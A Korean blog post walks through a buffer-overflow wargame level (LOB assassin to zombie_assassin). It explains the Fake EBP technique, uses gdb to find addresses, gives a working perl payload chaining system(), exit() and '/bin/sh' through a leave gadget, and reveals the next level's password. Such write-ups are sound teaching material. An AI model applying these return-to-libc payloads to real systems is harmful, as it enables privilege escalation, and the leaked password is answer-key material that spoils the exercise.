심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (assassin -> zombie_assassin )

1. 취약점


저번과 소스코드는 비슷한데 strncpy()를 사용하면서 저번과 같은 문제풀이를 차단하였다.

문제의 힌트로 제시해준 FEBP(Fake EBP)를 사용하여 이 문제를 해결해보자


Fake EBP(FEBP)

저번에 SFP를 변조하면 스택의 기준을 잡고 있는 ebp 레지스터 값이 변화하여 프로그램의 실행흐름이 변화하는 것을 알 수 있었다(FPO 기법). FEBP도 sfp를 변조하여 ebp레지스터를 속여서 공격하는 기법이다.

 

1. leave를 수행하는 과정에서 변조된 SFP를 따라 ebp를 RTL 주소-4 위치에 둔다. 

2. eip는 RET을 하기 위해 Return Address 자리의 leave를 저장하고 다시 leave를 수행하게 된다. 

3. 그 후 두 번째 RET에서 eip는 RTL 코드를 읽어  RTL이 수행한다.

따라서 우리가 필요한 것은 이 프로그램의 leave의 주소, Buffer의 주소가 필요하다.


$ bash2

$ gcc -g -o zombie_assassi1  zombie_assassin.c

$ gdb -q zombie_assassi1

(gdb) disas main


leave의 주소 : 0x080484df 

이제 버퍼의 크기를 알아보자. 두 손을 무겁게 해서..


(gdb) b *main+139 (strncpy() 실행 후)

(gdb) r "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xbf\xbf\xbf\xbf", "\xdf\x84\x04\x08"'`"

(gdb) x/60x $esp


빨간 네모가 buffer의 시작지점이다. 따라서 노란 네모의 주소로 EBP를 이동시켜야한다.



각각의 RTL 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x080484df (leave 주소)


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./zombie_assassin "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xac\xfa\xff\xbf", "\xdf\x84\x04\x08"'`"


2. 결과


id :  zombie_assassin   passwd : no place to hide

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,